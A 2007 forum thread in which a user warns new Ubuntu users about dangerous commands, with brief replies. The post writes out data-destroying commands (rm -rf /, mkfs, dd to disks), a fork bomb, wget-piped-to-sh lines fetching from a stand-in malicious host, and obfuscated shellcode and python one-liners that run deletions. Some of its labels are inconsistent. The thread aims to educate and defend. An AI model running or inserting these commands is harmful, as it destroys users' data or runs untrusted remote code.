Forum     

Go Back   Digit Technology Discussion Forum > Software > Open Source
Register FAQ Calendar Mark Forums Read

Open Source A place where you can talk to like-minded people about the fastest growing software movement today! Discuss anything and everything about Open Source software and Operating Systems.

Closed Thread
 
LinkBack Thread Tools Display Modes
Old 28-11-2007, 10:23 PM   #1 (permalink)
Wise Old Owl
 
Dark Star's Avatar
 
Join Date: Feb 2006
Location: /dev/hd0
Posts: 1,487
Thumbs down Malicious Commands in Ubuntu!

The following commands can cause massive damage to your Ubuntu operating system! Please DO NOT execute any of them, just read and learn!

Code:
sudo rm -rf / (This will delete all your files on your system) - Needs administrator rights!
sudo rm -rf . (This will delete the current directory your in) - Needs administrator rights!
sudo rm -rf * (This will delete all the files in the current folder) - Needs administrator rights!
rm -rf * or rm -rf *.* (This will delete all the files in the current folder) - No administrator rights needed!
rm -rf ~ / & (This will destroy your home directory) - No administrator rights needed!
All the below commands will erase your hard drive!

Code:
sudo mkfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.ext3 (This will format your hard drive) - Needs administrator rights!
sudo mkfs.bfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.cramfs (This will format your hard drive) - No administrator rights needed!
sudo mkfs.ext2 (This will format your hard drive) - Needs administrator rights!
sudo mkfs.minix (This will format your hard drive) - Needs administrator rights!
sudo mkfs.msdos (This will format your hard drive) - Needs administrator rights!
sudo mkfs.reiserfs (This will format your hard drive) - Needs administrator rights!
sudo mkfs.vfat (This will format your hard drive) - Needs administrator rights!

The dd command can be very dangerous, especially when you have no idea what it does! Below are some examples, but remember that these can vary often!
Code:
sudo dd if=/dev/zero of=/dev/hda (VERY DANGEROUS COMMAND! It will zero out the whole primary IDE hard drive) (Needs administrator rights)
sudo dd if=/dev/hda of=/dev/hdb (Needs administrator rights)
sudo dd if=something of=/dev/hda (Needs administrator rights)


WARNING:
/dev/hda and /dev/hdb from the above example can be replaced with /dev/sda or /dev/sdb or any partition or hard drive you may have on your system!

Block device manipulation: Causes raw data to be written to a block device. Often times this will clobber the filesystem and cause total loss of data!

Code:
any_command > /dev/sda
dd if=something of=/dev/sda
Quote:
Forkbomb: It is a malicious script that will execute a huge number of processes until your system freezes, forcing you to do a hard reboot which may cause data corruption or data damage.
The below command looks really intriguing and curiosity may lead new and inexperienced users to execute it! DON'T EXECUTE THEM!

Code:
:(){:|:&};:
fork while fork

Tarbomb: Let's say that someone who wants to help you, offers you a tar.gz or tar.bz2 archive and he asks you to extract it into an existing directory. This archive can be crafted to explode into a million of files, or inject other existing files into the system by guessing their filenames. You should make the habit of decompressing tar.gz or tar.bz2 archives inside a newly created directory!

Decompression bomb: Here's another example. Let's say someone asks you to extract an archive which appears to be a small download. In reality it's highly compressed data and will inflate to hundreds of Gigabites, filling your hard drive until it freezes! You should not touch data from an untrusted source!

Shellscript: This one is also very dangrous! Someone gives you a link to download, to a shellscript and then he asks you to execute it. This script can contain any command he chooses (from the above examples). Do not execute code from people you don't trust! Here are some examples:

Code:
wget http://some_place/some_file
sh ./some_file

Example: wget http://hax018r.org/malicious-script
sh ./malicious-script
or

Code:
wget http://some_place/some_file -O- | sh

Example: wget http://hax018r.org/malicious-script -O- | sh

WARNING: Remember that the above examples can have any name!

Compiling code: A person gives you the source code to an application and tells you to compile it. It is easy to hide malicious code as a part of a large wad of source code, and source code gives the attacker a lot more creativity for disguising malicious payloads. Therefore, Do not compile or execute the compiled code unless the source is of some well-known application, obtained from a reputable site (i.e. Softpedia, SourceForge, Freshmeat, the author's homepage, an Ubuntu address).

A famous example of this surfaced on a mailing list disguised as a proof of concept sudo exploit claiming that if you run it, sudo grants you root without a shell. There was this payload:
Code:
char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

To the new and inexperienced computer user, this looks like the "hex code gibberish stuff" that is so typical of a safe proof-of-concept. However, this actually runs rm -rf ~ / & which will destroy your home directory as a regular user, or all files as root.

Here's another example of code that should definitely NOT be executed by anyone!

Code:
python -c 'import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))'

Where "sn!.sg!+" is simply rm -rf * shifted a character up.

In conclusion, all new and inexperienced users who want to learn Ubuntu should start learning the above commands first and what they can do to your system.

Source : Ubuntu Forums - Announcements in Forum :
__________________
Me Myself and My Tux Blog :- http://tuxenclave.wordpress.com/
Dark Star is offline  
Advertisements. Register and be a member of the community to get rid of them.
Advertisement

Old 28-11-2007, 11:10 PM   #2 (permalink)
18 Till I Die............
 
Join Date: Jul 2004
Location: India, Mumbai, Marine Lines
Posts: 5,792
Default Re: Malicious Commands in Ubuntu!

Why only ubuntu?
__________________
http://www.bash.org/?258908
mehulved is offline  
Old 28-11-2007, 11:27 PM   #3 (permalink)
The No.1 Stupid
 
~Phenom~'s Avatar
 
Join Date: May 2005
Location: CYBERYARD
Posts: 1,705
Default Re: Malicious Commands in Ubuntu!

^^yeah right , why only ubuntu ???? these are general linux commands and will run in all linux distros.
__________________
n00b forever...
~Phenom~ is offline  
Old 29-11-2007, 12:55 AM   #4 (permalink)
Wahahaha~!
 
Faun's Avatar
 
Join Date: Dec 2006
Location: Pune/there
Posts: 7,109
Default Re: Malicious Commands in Ubuntu!

lol..
u just missed out threadflood.
Thats what this topic caused
__________________
Steam/Flickr: psygeist
Spoiler:
Asus Z68 V-Pro|i5 2500k|TRUE Black|Ripjaws X+Corsair Vengeance|U2311H|N560GTX|D7000|XONAR STX|RE272|RE0|CC51|XE200PRO Walnut| TD II V2| Ultraphile|N5800

Mono
Faun is offline  
Closed Thread

Bookmarks

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Ubuntu users alert..malicious code on prowl.. naveen_reloaded Open Source 29 29-11-2007 10:02 AM
CA eTrust antivirus detects Windows as malicious... anandk Technology News 1 06-09-2006 12:12 PM
Ubuntu commands sarincv Open Source 5 22-06-2006 09:13 PM


All times are GMT +5.5. The time now is 04:10 AM.


Powered by vBulletin® Version 3.8.7
Copyright ©2000 - 2012, vBulletin Solutions, Inc.

Search Engine Optimization by vBSEO 3.3.2